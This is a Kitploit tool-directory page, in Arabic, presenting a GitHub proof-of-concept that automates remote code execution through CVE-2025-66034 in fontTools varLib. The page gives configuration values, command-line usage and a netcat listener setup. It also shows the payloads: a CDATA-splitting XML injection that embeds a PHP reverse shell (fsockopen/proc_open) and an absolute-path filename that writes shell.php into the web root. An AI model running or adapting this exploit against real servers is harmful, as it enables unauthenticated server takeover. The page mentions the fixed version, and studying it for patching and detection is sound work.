Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
POC-CVE-2025-66034 — استغلال آلي لـ CVE-2025-66034، يربط بين path traversal و XML injection في fontTools varLib لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر رفع ملف .designspace معدّل. | Kitploit
أدوات/GitHubGitHub/v3cn4x00/poc-cve-2025-66034
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتحليل الملفات الثنائيةالتعلم والتعليمأداة الوصول عن بعد
GitHubv3cn4x00/poc-cve-2025-66034

POC-CVE-2025-66034

استغلال آلي لـ CVE-2025-66034، يربط بين path traversal و XML injection في fontTools varLib لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر رفع ملف .designspace معدّل.

46منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
مشاركة

font_varlib.py — CVE-2025-66034

fontTools varLib — كتابة ملف عشوائي + حقن XML → تنفيذ تعليمات برمجية عن بُعد

CVE Component Class Language Deps License


جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • سلسلة الهجوم
  • المتطلبات
  • التثبيت
  • التكوين
  • الاستخدام
  • كيف يعمل
  • الكود القابل للاستغلال
  • قائمة ما قبل الاستغلال
  • تم اختباره على
  • إخلاء مسؤولية
  • المراجع

نظرة عامة

CVE-2025-66034 هي ثغرة أمنية في خط إنتاج الخطوط المتغيرة fontTools.varLib. عندما يعرض تطبيق ويب هذا الخط ويقبل ملفات .designspace المقدمة من المستخدم، تتحد نقطتا ضعف لتحقيق تنفيذ تعليمات برمجية عن بُعد بدون مصادقة.

يقوم font_varlib.py بأتمتة سلسلة الاستغلال الكاملة — إنشاء الخط، صياغة الحمولة، الرفع، وتسليم الصدفة العكسية.


تفاصيل الثغرة

الحقلالتفصيل
CVE IDCVE-2025-66034
GHSAGHSA-768j-98cg-p3fv
الحزمةfonttools (pip)
النطاق المتأثر>= 4.33.0, < 4.60.2
تم الإصلاح في4.60.2
الخطورةمتوسطة (CVSS 6.3)
ناقل الهجوممحلي (يتطلب رفع ملف إلى الهدف)
الصلاحيات المطلوبةلا شيء
تفاعل المستخدممطلوب (رفع الملف)

سلسلة نقاط الضعف

#البدائيةCWEالسبب الجذري
1تجاوز المسارCWE-22تمرير سمة filename في .designspace مباشرة إلى os.path.join() دون تنقية — المسارات المطلقة تتجاهل دليل الإخراج المقصود بالكامل
2حقن XMLCWE-91تسلسل الفصل (]]]]><![CDATA[>) في أقسام <labelname> CDATA يسمح بتمرير كود PHP خام عبر محلل XML إلى ملف الإخراج المكتوب

سلسلة الهجوم

المهاجم يصوغ ملف .designspace خبيث
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── تجاوز المسار
            │            os.path.join(output_dir, absolute_path)
            │            → تجاهل output_dir → الكتابة في جذر الويب
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── حقن XML
                         انقسام CDATA يدمج كود PHP خام
                         في ملف الخط الثنائي الناتج
            │
            ▼
    fontTools.varLib.main() يعالج الملف من جانب الخادم
            │
            ▼
    shell.php مكتوب في دليل يمكن الوصول إليه عبر الويب
            │
            ▼
    GET /files/shell.php → تنفيذ PHP → استدعاء الصدفة العكسية
            │
            ▼
    تنفيذ تعليمات برمجية كـ www-data

المتطلبات

Python: 3.9+

التبعيات:

pip install fonttools requests

النظام:

nc (netcat) — مطلوب لوضع المستمع التلقائي (--no-listen يتخطى ذلك)

التثبيت

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

التكوين

قبل التشغيل، افتح font_varlib.py وقم بتحديث كتلة التكوين في أعلى الملف لتتناسب مع هدفك. كل قيمة لها تعليق توضيحي يشرح ما هي وكيفية العثور على القيمة الصحيحة.

# ══════════════════════════════════════════════════════════════════════════════
#  الإعدادات الافتراضية
#  غيّر هذه القيم لتتناسب مع هدفك قبل التشغيل.
#  يمكن أيضًا تجاوز جميع القيم أثناء التشغيل عبر علامات سطر الأوامر — راجع --help.
# ══════════════════════════════════════════════════════════════════════════════

# عنوان URL الأساسي لمضيف الرفع (الموقع الذي يقبل ملف .designspace)
UPLOAD_HOST      = "http://test.com"

# المسار على مضيف الرفع الذي يعالج طلب POST متعدد الأجزاء
# أكد باستخدام Burp — ابحث عن POST بعد النقر على زر التوليد
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# مسار نظام الملفات المطلق على الخادم حيث تُكتب ملفات الإخراج
# يجب أن يكون قابلاً للوصول عبر الويب حتى يمكن تشغيل الصدفة عبر HTTP
WEBROOT          = "/var/www/test.com/public/files"

# عنوان URL الأساسي المستخدم لجلب/تشغيل ملف الصدفة المكتوب
# يطابق WEBROOT على القرص
SHELL_HOST       = "http://testing.test.com/files"

# أسماء حقول النموذج متعدد الأجزاء — أكد باستخدام Burp قبل التشغيل
# إذا فشل الرفع بصمت (HTTP 200 ولكن لا توجد صدفة)، فإن أسماء الحقول الخاطئة هي السبب
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# بادئة اسم ملف الصدفة — يتم إلحاق لاحقة عشوائية وقت التشغيل
SHELL_PREFIX     = "f0nt_"

# طول اللاحقة العشوائية — أطول يعني أصعب في التخمين
SHELL_SUFFIX_LEN = 8

نصيحة: اعترض طلب رفع شرعي في Burp Suite لتأكيد UPLOAD_ENDPOINT وأسماء الحقول متعددة الأجزاء قبل التشغيل. يؤدي عدم تطابق أسماء الحقول إلى فشل صامت — يعيد الخادم HTTP 200 ولكن لا تُكتب أي صدفة.


الاستخدام

أساسي — مستمع nc تلقائي

python3 font_varlib.py --ip <عنوان_IP_المهاجم> --port <المنفذ>

مستمع يدوي — ابدأ nc بنفسك

# الطرفية 1 — ابدأ المستمع خاصتك
nc -lvnp 4444

# الطرفية 2 — شغّل الأداة بدون مستمع تلقائي
python3 font_varlib.py --ip <عنوان_IP_المهاجم> --port 4444 --no-listen

هدف مخصص — تجاوز جميع الإعدادات الافتراضية أثناء التشغيل

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

مرجع الخيارات الكامل

الوسيطمطلوبالافتراضيالوصف
--ip✓—عنوان IP الخاص بمستمع المهاجم
--port✓—منفذ مستمع المهاجم
--uploadUPLOAD_HOST + UPLOAD_ENDPOINTنقطة نهاية الرفع (POST)
--webrootWEBROOTمسار الكتابة على نظام ملفات الخادم (يجب أن يكون قابلاً للوصول عبر الويب)
--shellSHELL_HOSTعنوان URL الأساسي المستخدم لتشغيل الصدفة المكتوبة
--no-listenfalseتخطي مستمع nc التلقائي — تشغيل فقط

كيف يعمل

الخطوة 1 — إنشاء الخط

يتم إنشاء ملفي مصدر .ttf صغيرين ولكنهما صالحان هيكليًا برمجيًا باستخدام fontTools.FontBuilder. يتطلب varLib على الأقل محورين رئيسيين لمعالجة خط متغير — هذه تلبي هذا المطلب دون الحاجة إلى ملفات خطوط حقيقية على القرص.

الخطوة 2 — صياغة الحمولة

يتم إنشاء ملف XML .designspace خبيث يحتوي على كلتا البدائيتين الهجوميتين:

البدائية 1 — حقن XML عبر انقسام CDATA:

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

التسلسل ]]]]><![CDATA[> ينهي كتلة CDATA الحالية ويفتح فورًا كتلة جديدة. يعالج محلل XML هذا كعلامة صالحة، لكن varLib يقوم بتسلسل المحتوى حرفيًا إلى ملف الإخراج — مضمنًا كود PHP خام في ملف الخط الثنائي.

البدائية 2 — تجاوز المسار عبر سمة filename:

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

يبني varLib مسار الإخراج كالتالي:

output_path = os.path.join(output_dir, filename)

عندما يكون filename مسارًا مطلقًا، فإن os.path.join() في بايثون يتجاهل output_dir تمامًا. لا يتم تطبيق أي تنقية في الإصدارات المتأثرة.

الخطوة 3 — الرفع

يتم إرسال ملف .designspace وملفا .ttf كطلب POST متعدد الأجزاء إلى نقطة نهاية توليد الخطوط في الهدف باستخدام أسماء الحقول المؤكدة من Burp.

الخطوة 4 — التشغيل

طلب HTTP GET إلى ملف .php المكتوب ينفذ الصدفة العكسية، والتي تتصل مرة أخرى بمستمع nc الخاص بالمهاجم عبر fsockopen + proc_open — لا حاجة إلى curl أو wget أو Python على الهدف.


الكود القابل للاستغلال

fontTools/varLib/__init__.py (الإصدارات المتأثرة):

filename = vf.filename                             # يتحكم به المهاجم، غير منقى
output_path = os.path.join(output_dir, filename)  # تجاوز المسار عبر المسار المطلق
vf.save(output_path)                              # كتابة ملف عشوائي
تنزيل الأداة